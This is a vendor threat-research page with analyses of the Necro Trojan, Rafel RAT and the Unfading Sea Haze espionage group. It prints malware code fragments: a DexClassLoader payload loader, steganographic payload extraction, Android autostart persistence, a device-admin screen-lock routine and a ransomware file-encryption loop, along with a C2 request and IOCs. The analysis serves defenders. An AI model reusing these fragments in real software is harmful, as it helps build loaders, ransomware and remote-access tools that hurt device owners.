company logo

Product

Our Product

We are Reshaping the way Developers find and fix vulnerabilities before they get exploited.

Solutions

By Industry

BFSI

Healthcare

Education

IT & Telecom

Government

By Role

CISO/CTO

DevOps Engineer

Resources

Resource Library

Get actionable insight straight from our threat Intel lab to keep you informed about the ever-changing Threat landscape.

Subscribe to Our Weekly Threat Digest

Company

Contact Us

Have queries, feedback or prospects? Get in touch and we shall be with you shortly.

loading..
loading..
loading..
Loading...

Malware

loading..
loading..
loading..

Voldemort Malware: Hybrid Espionage Exploits Google Sheets & Trusted Platforms

Voldemort Malware exploits Google Sheets for espionage, blending cybercrime with trusted platforms in a sophisticated hybrid campaign targeting global organizat...

23-Sep-2024
6 min read

Related Articles

loading..

Android

NECRO

Explore the resurgence of the Necro Trojan, its infiltration of Google Play, and...

In recent years, the landscape of mobile malware has dramatically evolved, especially as users increasingly seek modified applications (mods) for popular services like [Spotify]( and WhatsApp. These mods often promise users enhanced functionality or ad-free experiences. Unfortunately, many of these unofficial modifications come with significant risks, including embedded malware that can compromise user data and device security. One such threat that has resurfaced is the **Necro Trojan**, a multi-stage malware loader that has been found infiltrating popular apps both on unofficial sources and within Google Play itself. The Necro Trojan poses a significant risk due to its sophisticated evasion techniques, including **obfuscation**, **steganography**, and multi-stage payload deployment, making it challenging to detect and mitigate. ### Significance of the Threat Necro is not just another run-of-the-mill malware. Its modular design allows it to execute a variety of malicious functions, such as: - Displaying ads in invisible windows. - Interacting with web elements in the background. - Downloading and executing arbitrary files. - Installing applications covertly. - Subscribing users to paid services without their consent. In total, **millions of devices** have been affected by this malware, which demonstrates the wide-reaching consequences of using modded applications from unofficial sources. Necro’s reappearance on **Google Play** through infected apps signals the continuous efforts of cybercriminals to exploit both trusted and untrusted distribution channels, significantly increasing the scope of potential victims. --- ### Technical Analysis #### Discovery of Necro Trojan The Necro Trojan was first discovered in 2019 when it was embedded in the widely used document-scanning application **CamScanner** on Google Play. At the time, the app had over **100 million downloads**. The malicious Necro loader was hidden within an innocuous-looking update, which, once installed, delivered the payload to the user’s device. Fast forward to 2024, and Necro has returned with even more complex evasion techniques and wider distribution. ***Spotify mod*** In **late August 2024**, security researchers identified the Necro Trojan once again, this time embedded in modded applications like **Spotify Plus** and **WhatsApp mods**, downloaded from unofficial sources. What made the discovery particularly concerning was that some infected apps were found within the **Google Play Store**, indicating that even vetted platforms are not immune to Necro's reach. #### Malware Delivery & Spread ##### Initial Infection Vectors The primary infection vectors for the Necro Trojan include: 1. **Unofficial APK websites**: Users looking for modified versions of apps, such as Spotify mods with premium features unlocked, were downloading infected versions from websites like **spotiplus[.]xyz**. These websites falsely claimed to offer certified and safe versions of the applications, luring users into a false sense of security. 2. **Google Play Store**: Legitimate-looking applications, such as **Wuta Camera** and **Max Browser**, were found to have been compromised with the Necro loader. These apps were downloaded millions of times, illustrating the widespread distribution. ***Wuta Camera App in Google Play*** ###### Example: In **Wuta Camera**, a popular photo-editing app, the Necro loader was embedded in versions starting from **v6.3.2.148**. By the time the malicious activity was discovered, the app had been downloaded over **10 million times**. After security researchers flagged the issue, the loader was removed in **v6.3.7.138**. ##### Modifications and Trojan Features Necro Trojan’s operation hinges on its ability to **modify legitimate apps** without arousing suspicion. A typical infected app includes a **custom Application subclass** that initializes a malicious SDK, such as **Coral SDK**, during its execution. This SDK is responsible for integrating various advertising modules into the app, but more importantly, it communicates with a **Command-and-Control (C2) server**, transmitting data about the compromised device. The C2 server then issues commands back to the Trojan, triggering specific malicious behaviors like: - Downloading additional malware. - Running code via the **DexClassLoader** (allowing it to execute arbitrary Java files). - Interacting with invisible ads to generate revenue for the attackers. ###### Technical Example: Here is a sample of the JSON data transmitted by the Trojan to the C2 server: ```json { "appId": "REDACTED", "channelId": "com.spoti.plus", "androidId": "REDACTED", "isAdb": false, "isProxy": false, "isSimulator": false, "isDebug": false, "localShellVer": 0, "sdkVer": 116, "appVersion": "1020000005", "appVersionName": "18.9.40.5" } ``` --- ### Obfuscation Techniques and Multi-Stage Payload Execution #### Obfuscation and Steganography One of the reasons Necro is so difficult to detect lies in its sophisticated use of **obfuscation techniques**. The malicious code is obfuscated using tools like **OLLVM** (Obfuscator-LLVM), which scrambles the code into a format that is extremely challenging to decompile or analyze. Additionally, **steganography** is employed to hide payloads within seemingly innocuous files, such as **PNG images**. The Trojan downloads these images from the C2 server, extracts the hidden data using Android’s `getPixel` method, and then reconstructs it into a **Base64-encoded JAR file**. Once decoded, this JAR file is executed by **DexClassLoader**, allowing the Trojan to execute the next stage of its payload without raising red flags. ###### Example of Steganography: The image contains the encoded payload in its least significant byte (LSB) values: ```java int pixelValue = bitmap.getPixel(x, y); byte payloadByte = (byte) (pixelValue & 0xFF); // Extracts the blue channel data (LSB) ``` This payload extraction process highlights Necro’s advanced ability to hide in plain sight and execute code without triggering conventional antivirus software. ### Real-World Case Studies #### Infected Applications: Wuta Camera and Max Browser ##### Wuta Camera: **Wuta Camera** is a widely used photo-editing app available on **Google Play** with over **10 million downloads**. It was initially released as a legitimate app, but in **version 6.3.2.148**, the Necro Trojan was embedded within it. This infection allowed attackers to exploit a large user base, especially in regions like **Russia, Brazil,** and **Vietnam**. By the time the infected version was discovered, thousands of users had already been affected. ###### How Necro Operated Within Wuta Camera: 1. Upon launch, Wuta Camera initialized its legitimate functions, including photo-editing features, while the **Necro Trojan loader** ran in the background. 2. Necro would connect to its **C2 server**, transmitting details about the user’s device, including **IMEI, IMSI**, and **Android OS version**. 3. The C2 server could then issue commands to: - Open **invisible WebViews** to interact with ads. - Download additional malware payloads (e.g., DexClassLoader running Base64 JARs). - Exfiltrate sensitive device information. After being reported by security researchers, **Google Play removed the malicious version**, and Wuta Camera was forced to release a **clean version** in **6.3.7.138**. ##### Max Browser: **Max Browser** was another popular app infected with the Necro Trojan. With over **1 million downloads**, it represented a significant attack vector for the Trojan authors. **Version 1.2.0** of Max Browser included the **Necro loader**, which used **Firebase Remote Config** to remotely update its payload. This version of the Trojan also utilized steganography to conceal malicious code in image files downloaded from the C2. ###### Key Features of the Necro Trojan in Max Browser: - **Obfuscation Layers**: Code was highly obfuscated using **OLLVM** and encrypted communication methods to evade security detection. - **Network Behavior**: The browser sent user data and app information to a remote server through encrypted POST requests, making it challenging for traditional security tools to detect. - **Stealth Operation**: Like Wuta Camera, Max Browser could open **hidden WebViews** to perform background ad fraud, ultimately draining user data and resources without their knowledge. By the time researchers identified the infection, the Trojan had affected a large number of users, primarily in **Southeast Asia**. The infected version was promptly removed after being flagged. --- ### Deep Dive into Code and Execution #### Code Samples and Steganographic Payload Extraction The **Necro Trojan** is particularly notable for its use of advanced code obfuscation and payload delivery techniques. Here, we will explore some of the **core technical elements** of the malware, including code samples that highlight its behavior. ##### DexClassLoader and Base64 Payload Execution One of the Trojan’s most dangerous techniques is its use of **DexClassLoader** to load and execute malicious payloads from dynamically downloaded JAR files. This allows the malware to evade static analysis and deliver malicious code at runtime. ###### Code Sample 1: Loading the Payload with DexClassLoader ```java // Sample code from the Trojan showing how a Base64-encoded JAR is loaded and executed. String encodedJar = "Base64 encoded JAR string here"; byte[] decodedJar = Base64.decode(encodedJar, Base64.DEFAULT); // Write the decoded bytes to a temporary file. File tempJar = new File(context.getCacheDir(), "temp.jar"); FileOutputStream fos = new FileOutputStream(tempJar); fos.write(decodedJar); fos.close(); // Use DexClassLoader to load and execute the JAR file. DexClassLoader classLoader = new DexClassLoader(tempJar.getPath(), context.getDir("dex", 0).getAbsolutePath(), null, context.getClassLoader()); Class<?> loadedClass = classLoader.loadClass("com.malicious.EntryPoint"); Method runMethod = loadedClass.getMethod("run"); runMethod.invoke(null); ``` **Explanation**: - The Trojan first decodes the **Base64-encoded JAR file** that it downloads from the C2 server. - The decoded file is temporarily stored in the app’s cache directory. - Using **DexClassLoader**, the malware dynamically loads the decoded JAR, making it invisible to many anti-malware tools. - The entry point `run()` method is invoked, which executes the next stage of the payload. #### Steganographic Techniques Another highly advanced technique used by the Necro Trojan is **steganography**. The payload is hidden inside **PNG images** using a simple, yet effective, **least significant bit (LSB) extraction** technique. By embedding the payload in the image, the Trojan can bypass traditional antivirus scanning, which doesn’t typically scan images for malicious code. ###### Code Sample 2: Extracting Payload from PNG Images ```java // Extracting the payload hidden in the least significant byte (LSB) of each pixel. Bitmap image = BitmapFactory.decodeStream(new FileInputStream("path/to/downloaded/image.png")); ByteBuffer payloadBuffer = ByteBuffer.allocate(image.getWidth() * image.getHeight() * 4); for (int y = 0; y < image.getHeight(); y++) { for (int x = 0; x < image.getWidth(); x++) { int pixel = image.getPixel(x, y); payloadBuffer.put((byte) (pixel & 0xFF)); // Store the least significant byte (blue channel) } } // Reconstruct the payload from the extracted bytes byte[] payload = new byte[payloadBuffer.position()]; payloadBuffer.rewind(); payloadBuffer.get(payload); // Decode the payload and prepare it for execution String base64Payload = new String(payload, StandardCharsets.UTF_8); byte[] decodedPayload = Base64.decode(base64Payload, Base64.DEFAULT); ``` **Explanation**: - The Trojan decodes the hidden payload from the **least significant byte (LSB)** of each pixel in the PNG image. - It reconstructs the Base64-encoded payload and then decodes it. - The decoded payload is then processed, typically by using **DexClassLoader** to execute the next stage. --- ***Infection Diagram*** ### Security Recommendations Given the sophisticated nature of the Necro Trojan, security measures need to go beyond traditional antivirus or basic app security. Here are **super-tailored and targeted recommendations** for users, developers, and enterprises: #### 1. For Users: - **Only Download Apps from Trusted Sources**: Stick to **official app stores** like Google Play or the Apple App Store, and avoid installing APKs from third-party websites. - **Verify App Permissions**: Always review the permissions an app requests. If an app requests permissions that seem excessive for its functionality (e.g., a photo-editing app requesting access to SMS), it should raise a red flag. - **Regularly Update Apps and OS**: Ensure that your device and apps are always running the latest versions, as these updates often include critical security patches. - **Use a Reputable Security Solution**: Install security software that specifically scans for **hidden malware**, such as steganography, and can analyze **real-time network behavior**. #### 2. For Developers: - **Review Third-Party SDKs**: The Trojan’s infection vector often involves compromised third-party SDKs, such as ad modules. Ensure that all SDKs used in the app are from trusted sources and regularly vetted for security. - **Implement Code Obfuscation Techniques**: While this seems counterintuitive, developers can also use obfuscation tools (like **ProGuard**) to prevent their apps from being easily modified or reverse-engineered by attackers. - **Monitor App for Abnormal Behavior**: Developers should implement analytics and monitoring that can detect unusual behaviors, such as large, unexpected data transfers or background app installations. #### 3. For Enterprises: - **Implement Mobile Device Management (MDM)**: Enterprises should use **MDM solutions** to monitor and control apps installed on company devices. These systems can help enforce policies that prevent the installation of unapproved apps. - **Network Traffic Monitoring**: Implement systems that can detect abnormal network traffic patterns, especially **encrypted outbound connections** to suspicious domains (e.g., bearsplay[.]com). - **Regular Threat Intelligence Feeds**: Subscribe to threat intelligence feeds that report new indicators of compromise (IOCs) for emerging threats like Necro. This allows security teams to update their defense mechanisms in real-time. #### 4. Additional Security Recommendations: - **Use App Sandboxing**: Running apps in a sandbox environment can help mitigate the damage if malware is present. Even if an app attempts to exfiltrate data or execute a payload, it will be limited to the sandboxed environment. - **Deep Packet Inspection (DPI)**: For enterprises, utilizing **DPI tools** can help detect malicious traffic by inspecting data packets in real-time, even if the malware uses obfuscation techniques. --- ### Conclusion The resurgence of the **Necro Trojan** illustrates the persistent and evolving threats that target mobile devices. Its ability to evade detection through **multi-stage loading**, **obfuscation**, and **steganography** poses a significant challenge to both users and security professionals. With millions of devices affected globally, the Necro Trojan demonstrates how even trusted platforms like Google Play can become a distribution vector for sophisticated malware. To mitigate these risks, it is crucial for all stakeholders—users, developers, and enterprises—to remain vigilant. Users must exercise caution when downloading apps, developers need to ensure their applications are secure and uncompromised, and enterprises must deploy robust security measures to protect their devices and data from these evolving threats. By staying informed, employing best security practices, and leveraging advanced security solutions, we can collectively reduce the threat posed by malware like Necro.

loading..   25-Sep-2024
loading..   1 min read
loading..

Android

RAT

Encryption

Explore how Rafel RAT exploits vulnerabilities in outdated Android devices, orch...

Rafel RAT is an open-source malware tool designed to operate stealthily on Android devices. This powerful remote administration toolkit enables malicious actors to conduct a range of nefarious activities, from data theft to device manipulation. Recent investigations by CP Research have made it evident that it is currently used by multiple threat actors, including espionage groups. This [Threat Research](https://www.secureblink.com/threat-research) analysis will rigorously dissect the critical nuances of Rafel RAT, its operational mechanisms, and the broader implications of its deployment. ### Key Features and Capabilities Rafel RAT boasts a suite of features that facilitate its covert operations. These include: - **Admin Permission:** Grants the malware elevated privileges. - **Whitelist Inclusion:** Ignore battery optimization, ensuring persistence. - **Legitimate Appearance:** Disguised as a legitimate mod app. - **Background Execution:** Operates even when the app is closed (limited device compatibility). - **Accessibility Features:** Utilizes accessibility services, although this may cause errors on some devices. - **Android Support:** Compatible with Android versions 5 through 12. - **Wakelock Acquisition:** Prevents the device from sleeping. - **Undetectability:** Bypasses PlayProtect, making it challenging to detect. - **Device Manipulation:** Can wipe the SD card, lock the device screen, change wallpaper, vibrate the device, delete call logs, and notify victims via Discord. - **Notification Theft:** Steals notifications and sends them through Discord. - **AutoStart Capability:** Configured for devices from manufacturers like Poco, Xiaomi, Oppo, Vivo, LetV, and Honor. ### Campaigns and Victim Analysis The deployment of Rafel RAT spans approximately 120 distinct malicious campaigns, targeting high-profile organizations, including military sectors. Victims predominantly hail from the United States, China, and Indonesia, but the geographic spread is extensive. Notably, Samsung devices were most frequently targeted, followed by Xiaomi, Vivo, and Huawei. The malware’s ability to extract sensitive information, such as phonebook contacts and two-factor authentication messages, poses significant risks, enabling lateral movement within organizations. ### Technical Analysis #### Permission Request Mechanism Upon initiation, Rafel RAT seeks essential permissions to ensure its operations. The auto start function exemplifies this approach, modifying the device's settings to guarantee persistence. ```java private void autostart() { try { Intent intent = new Intent(); String manufacturer = android.os.Build.MANUFACTURER; if ("xiaomi".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.miui.securitycenter", "com.miui.permcenter.autostart.AutoStartManagementActivity")); } else if ("oppo".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.coloros.safecenter", "com.coloros.safecenter.permission.startup.StartupAppListActivity")); } else if ("vivo".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.vivo.permissionmanager", "com.vivo.permissionmanager.activity.BgStartUpManagerActivity")); } else if ("Letv".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.letv.android.letvsafe", "com.letv.android.letvsafe.AutobootManageActivity")); } else if ("Honor".equalsIgnoreCase(manufacturer)) { intent.setComponent(new ComponentName("com.huawei.systemmanager", "com.huawei.systemmanager.optimize.process.ProtectActivity")); } List<ResolveInfo> list = getPackageManager().queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); if (list.size() > 0) { startActivity(intent); } } catch (Exception e) { Log.e("exc", String.valueOf(e)); } } ``` ### Phishing and Deception Tactics Rafel RAT leverages deceptive tactics to manipulate user trust and exploit interactions. It often impersonates legitimate applications like Instagram, WhatsApp, e-commerce platforms, antivirus programs, and support apps. These deceptive strategies enhance its ability to evade detection and gain necessary permissions. ![Malware Activity.jpg](https://sb-cms.s3.ap-south-1.amazonaws.com/Malware_Activity_469e641652.jpg) ***Malware Activity [CP Research](https://research.checkpoint.com/2024/rafel-rat-android-malware-from-espionage-to-ransomware-operations/)*** #### Background Service Operations Once activated, Rafel RAT deploys a background service to manage communication with the command-and-control (C&C) server. ```java @Override // android.app.Service public int onStartCommand(Intent intent, int flags, int startId) { String input = intent.getStringExtra("inputExtra"); this.createNotificationChannel(); PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, MainActivity.class), 0); Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID) .setContentTitle("Foreground Service") .setContentText(input) .setSmallIcon(R.drawable.ic_notification) .setContentIntent(pendingIntent) .build(); startForeground(1, notification); return START_NOT_STICKY; } ``` The InternalService initializes communication, activates location tracking, and sets up Text-To-Speech components. ```java private void init() { new Builder().setContext(this.context).setMode(0).setPrefsName("prefs").setPrefsMode(0).build(); this.deviceUniqueId = new EasyIdMod(this.context).getPseudoUniqueID(); this.getDeviceInfo(); this.checkCmdFromServer(); this.startLocationService(); this.prepareTTs(); } ``` ### Communication Protocols Communication with the C&C server occurs over HTTP(S) protocols. Initial client-server interactions involve transmitting device information, including identifiers, locale, country, model specifics, and operator details. ```plaintext POST /Server_Panel/public/commands.php HTTP/2 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 246 Accept-Encoding: gzip, deflate User-Agent: okhttp/3.10.0 country=US&total_ram=1.811512&unique_id=abcdefg12345&device_model=LGE-Nexus%205&device_language=en&is_rooted=false&software_version=Android%206.0.1&sim_operator=&charge=42% ``` ### Command Execution The range of commands supported by Rafel RAT is extensive. Commands include: - **rehber_oku:** Exfiltrates the phone book. - **sms_oku:** Extracts all SMS messages. - **send_sms:** Sends SMS messages. - **device_info:** Transmits device information. - **location_tracker:** Sends live location data. - **arama_gecmisi:** Exfiltrates call logs. - **screen_message:** Displays a floating message. - **wipe:** Deletes specified files. - **LockTheScreen:** Locks the device screen. - **ransomware:** Initiates file encryption. - **changewallpaper:** Changes the device wallpaper. - **vibrate:** Vibrates the device for 20 seconds. - **deletecalls:** Wipes call history. - **voice_message:** Uses Text-to-Speech to relay messages. - **get_list_file:** Sends directory tree information. - **upload_file_path:** Uploads specific files. - **application_list:** Lists installed applications. ### Defensive Measures and Evasion Tactics Rafel RAT employs several protective mechanisms to evade detection and disrupt analysis. These include string encryption, usage of packers, and anti-evasion techniques designed to bypass automated analysis tools. ### Command & Control Interface The C&C interface for Rafel RAT is a PHP-based panel that does not require a traditional database. Instead, it utilizes JSON files for storage and management. Upon logging in, threat actors can access detailed information about infected devices and execute various commands. ![9MGUJS4ZGU-rId70.webp](https://sb-cms.s3.ap-south-1.amazonaws.com/9_MGUJS_4_ZGU_r_Id70_19bb8c2da0.webp) ***Admin Panel*** #### Panel Features - **Device Information:** Phone model, Android version, geographical context, SIM operator, battery charge, and root status. - **Commands:** Retrieve contacts, SMS messages, device info, call logs, and location data. Execute ransomware, change wallpapers, lock screens, and more. ### Case Studies and Campaigns #### Ransomware Operations Rafel RAT's ransomware capabilities include locking the screen and encrypting files using AES encryption. The malware can change the lock-screen password, preventing users from revoking admin privileges. ```java public class DeviceAdminComponent extends DeviceAdminReceiver { private static final String OUR_SECURE_ADMIN_PASSWORD = "1234"; public CharSequence onDisableRequested(Context context, Intent intent) { ComponentName localComponentName = new ComponentName(context, DeviceAdminComponent.class); DevicePolicyManager localDevicePolicyManager = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE); if (localDevicePolicyManager.isAdminActive(localComponentName)) { localDevicePolicyManager.setPasswordQuality(localComponentName, DevicePolicyManager.PASSWORD_QUALITY_NUMERIC); localDevicePolicyManager.resetPassword(OUR_SECURE_ADMIN_PASSWORD, DevicePolicyManager.RESET_PASSWORD_REQUIRE_ENTRY); localDevicePolicyManager.lockNow(); } return super.onDisableRequested(context, intent); } } ``` Additionally, the malware incorporates file encryption methods. ```java public void encryptFile() throws Exception { for (File file : files) { if (!file.getPath().contains(".enc")) { byte[] enc = Aes.encrypt(KEY, fullyReadFileToBytes(file)); file.delete(); saveFile(enc, file.getPath() + ".enc"); } } } ``` ### Threat Actors and Government Infrastructure One notable case involved a threat actor hacking a Pakistani government website and using it as a C&C server for Rafel RAT. The hacker publicly celebrated the breach, highlighting the threat's potential impact on government infrastructure. ### Indicators of Compromise (IOCs) - **SHA256 Hashes:** - d1f2ed3e379cde7375 f2ec6f5e2a720151c25bb504abe376a3488a69df540a42 - b9af3d728dd5fc1a7ad08675e0845e375db9f4b0bfa33eb7d0338cc8d8d8e2b6 - **IP Addresses:** - 194.31.98.10 - 185.116.237.245 - **Domains:** - psks.to - casperbc.com - raas.site - **Files:** Indicators from various campaigns including MD5 hashes, email addresses, and additional IP addresses. ### Conclusion Rafel RAT represents a sophisticated and versatile threat to Android devices, with wide-ranging capabilities from espionage to ransomware deployment. Its deployment in numerous campaigns targeting high-profile sectors underscores its danger. Understanding its inner workings, from permissions to C&C communication, equips cybersecurity professionals to better defend against and mitigate this threat.

loading..   24-Jun-2024
loading..   1 min read
loading..

Cyberespionage

APT

Unfading Sea Haze, a new cyberespionage group, targets South China Sea nations...

Unfading Sea Haze, a newly identified threat actor, has been targeting high-level organizations in South China Sea countries since at least 2018. Our investigation has revealed sophisticated tactics, techniques, and procedures (TTPs) consistent with state-sponsored cyber espionage. This detailed [Threat Research](https://www.secureblink.com/threat-research) dissects their operations, highlighting their persistence, advanced methodologies, and potential alignment with Chinese interests. ## Background "Unfading Sea Haze" first surfaced to the attention of cybersecurity researchers in late 2023. The group is believed to be state-sponsored, with initial indicators pointing towards possible affiliations with East Asian cyber-espionage units. Their primary targets include government agencies, defense contractors, and critical infrastructure organizations. ## Historical Context and Evolution ### Discovery and Attribution Our investigation revealed no prior documentation of Unfading Sea Haze, indicating their successful evasion of detection for over five years. Their focus on military and government entities in the South China Sea suggests alignment with Chinese geopolitical interests. The use of Gh0st RAT variants, a tool popular within Chinese cyber espionage circles, supports this attribution. ### Geopolitical Targeting and Tool Sharing Unfading Sea Haze's targets and tactics indicate a sophisticated and possibly state-sponsored group. Their use of the Gh0st RAT framework and the SharpJSHandler tool resembles methods used by other Chinese threat actors, such as APT41. However, no direct connections to previously known groups were found, suggesting either a new actor or an evolution of existing capabilities within the Chinese cyber ecosystem. ## Threat Actor Profile ### Attribution While concrete attribution is challenging, "Unfading Sea Haze" exhibits characteristics consistent with state-sponsored cyber-espionage groups. Indicators suggest potential links to actors operating out of East Asia, particularly those with interests in maritime dominance and geopolitical influence in contested waters. ### Motivation and Objectives The primary motivation appears to be geopolitical, with objectives including: **Espionage:** Gathering intelligence on maritime operations, trade routes, and military movements. **Disruption:** Impairing maritime infrastructure to weaken economic and military capabilities. **Influence:** Exerting control or creating leverage in territorial disputes and economic negotiations. ## Technical Analysis of Attacks ### Initial Compromise and Regaining Access While the initial infiltration methods remain unknown due to the age of the breaches, spear-phishing emerged as a key technique for regaining access. Malicious LNK files within ZIP archives were used extensively. The attackers employed lengthy, obfuscated command lines within these files to evade detection. For example, a command line executed a series of tasks to avoid ESET Kernel Service detection, download a payload, and execute it using MSBuild. ### In-Memory Execution and Fileless Techniques Unfading Sea Haze leveraged MSBuild.exe for fileless attacks, specifying remote SMB shares as working directories. This technique allows the execution of malicious code in memory, reducing forensic artifacts on the victim's machine. A typical command might use PowerShell to initiate MSBuild with a project file from a remote server, executing entirely in memory and bypassing traditional security measures. ### Persistence Mechanisms Scheduled tasks and DLL sideloading were primary methods for persistence. The attackers mimicked legitimate Windows processes, using harmless programs to load malicious DLLs. For instance, they renamed mspaint.exe to clipsvc.exe and placed it in a directory with a malicious DLL, ensuring the legitimate program would load the attacker's code. Another example involved the Windows Perception Simulation Service, where attackers placed a malicious hid.dll in a specific directory to be loaded by the service. ### Custom Malware and Tools Unfading Sea Haze developed and deployed multiple custom malware strains. The Gh0st RAT family included SilentGh0st, TranslucentGh0st, and InsidiousGh0st, each evolving to add new features and evade detection. More recent variants like FluffyGh0st and EtherealGh0st are modular, allowing dynamic functionality via plugins. Ps2dllLoader was a key component, loading .NET or PowerShell payloads directly in memory, further obfuscating their presence. ### SharpJSHandler and Web Shell Alternatives SharpJSHandler acted as a web shell alternative, capable of executing encoded JavaScript via HTTP requests. Variants also used cloud storage services for communication, complicating detection. By avoiding traditional web shell methods and using platforms like Dropbox and OneDrive, Unfading Sea Haze demonstrated a high level of operational security. ## Data Collection and Exfiltration ### Espionage Focus The primary objective of Unfading Sea Haze appears to be espionage. Custom keyloggers, browser data stealers, and tools targeting portable devices were used extensively. For instance, xkeylog was strategically placed to capture keystrokes, while browser stealers extracted data from major browsers like Chrome and Edge. ### Exfiltration Techniques Initially, data exfiltration was performed using a custom tool, DustyExfilTool, which transmitted files via TLS. From 2022, attackers shifted to using curl and FTP, later adopting more dynamic credential management to enhance security. The use of rar.exe for archiving and transferring files, along with targeted data extraction from messaging apps like Telegram and Viber, highlighted their methodical approach to data theft. ## Attack Vectors and Techniques ### Social Engineering "Unfading Sea Haze" employs targeted social engineering tactics, including spear-phishing and fake communication channels, to gain initial access. These tactics often exploit human vulnerabilities, leveraging current events or operational details specific to the maritime industry. ### Advanced Persistent Threats (APTs) The campaign utilizes APTs to establish and maintain prolonged access to targeted networks. These threats are characterized by their stealth, persistence, and ability to adapt to defensive measures. Key techniques include: **Phishing and Spear-Phishing:** Crafting convincing emails and messages to lure victims into divulging credentials or downloading malicious software. **Exploitation of Zero-Day Vulnerabilities:** Utilizing unknown or unpatched vulnerabilities to infiltrate systems. **Lateral Movement:** Once inside, moving laterally across networks to compromise additional systems and data. ### Coordinated Attacks "Unfading Sea Haze" conducts coordinated attacks on maritime navigation and communication systems. These attacks can disrupt shipping routes, interfere with GPS signals, and compromise communication between vessels and control centers. Methods include: **Signal Jamming:** Disrupting GPS and communication signals to create navigational hazards. **Data Exfiltration:** Stealing sensitive information related to maritime operations and strategies. **Malware Deployment:** Installing malware that can disrupt or control navigation and communication systems. ## Detailed Analysis of "Unfading Sea Haze" ### 1. Tactics, Techniques, and Procedures (TTPs)** **Reconnaissance:** Extensive use of open-source intelligence (OSINT) to gather information about potential targets. **Initial Access:** Spear-phishing emails with malicious attachments or links, exploiting zero-day vulnerabilities. **Execution:** Deployment of malware to establish a foothold within the target network. **Persistence:** Use of legitimate credentials and creating backdoors to ensure long-term access. **Privilege Escalation:** Exploiting vulnerabilities to gain administrative privileges. **Defense Evasion:** Techniques such as obfuscation, encryption, and the use of legitimate tools to blend in with normal network traffic. **Credential Access:** Harvesting credentials using keyloggers, credential dumping tools, and network sniffing. **Discovery:** Mapping the internal network to identify critical assets and data. **Lateral Movement:** Moving across the network using remote desktop protocols and lateral tools like PsExec. **Collection:** Gathering and staging data for exfiltration. **Exfiltration:** Using encrypted channels to send data back to command and control (C2) servers. **Impact:** Data theft and potential for destructive actions if detected. ### 2. Tools and Malware **SeaMist:** A modular malware platform that allows for dynamic updates and the addition of new capabilities. **HazeRAT:** A remote access tool that provides the group with full control over compromised systems. **Custom Exploits:** Developed or acquired zero-day exploits tailored for high-value targets. ### 3. Infrastructure **Command and Control (C2):** Use of compromised legitimate websites and custom-built C2 servers to manage operations. **Communication:** Encrypted communications channels to avoid detection by network security tools. ### 4. Affected Sectors **Government Agencies:** Targets include departments dealing with national security, foreign affairs, and intelligence. **Defense Contractors:** Organizations involved in the development of military technologies and defense systems. **Critical Infrastructure:** Sectors such as energy, telecommunications, and transportation are at risk due to the potential for significant disruption. ## Case Studies **Case Study 1:** Breach of a National Defense Contractor In early 2024, "Unfading Sea Haze" successfully infiltrated a major national defense contractor. Using spear-phishing emails containing malicious PDF attachments, the group gained initial access. They then exploited a zero-day vulnerability in a widely used enterprise application to escalate privileges. Over the course of several months, the group exfiltrated sensitive data related to defense technologies. **Case Study 2:** Compromise of a Government Agency A government agency responsible for foreign affairs fell victim to a sophisticated attack by "Unfading Sea Haze." The attackers used social engineering to compromise an employee's email account. From there, they moved laterally within the network, gaining access to confidential diplomatic communications. The breach remained undetected for nearly a year, highlighting the group's ability to maintain persistence. ## Conclusion Unfading Sea Haze represents a sophisticated and persistent cyber threat, employing advanced techniques and custom tools to achieve their espionage objectives. Their ability to remain undetected for over five years underscores the critical importance of robust cybersecurity practices. Enhanced credential hygiene, timely patching, and vigilant monitoring are essential to countering such advanced threats. This research aims to equip the security community with the knowledge to detect and disrupt Unfading Sea Haze's operations, contributing to a more secure digital landscape.

loading..   11-Jun-2024
loading..   1 min read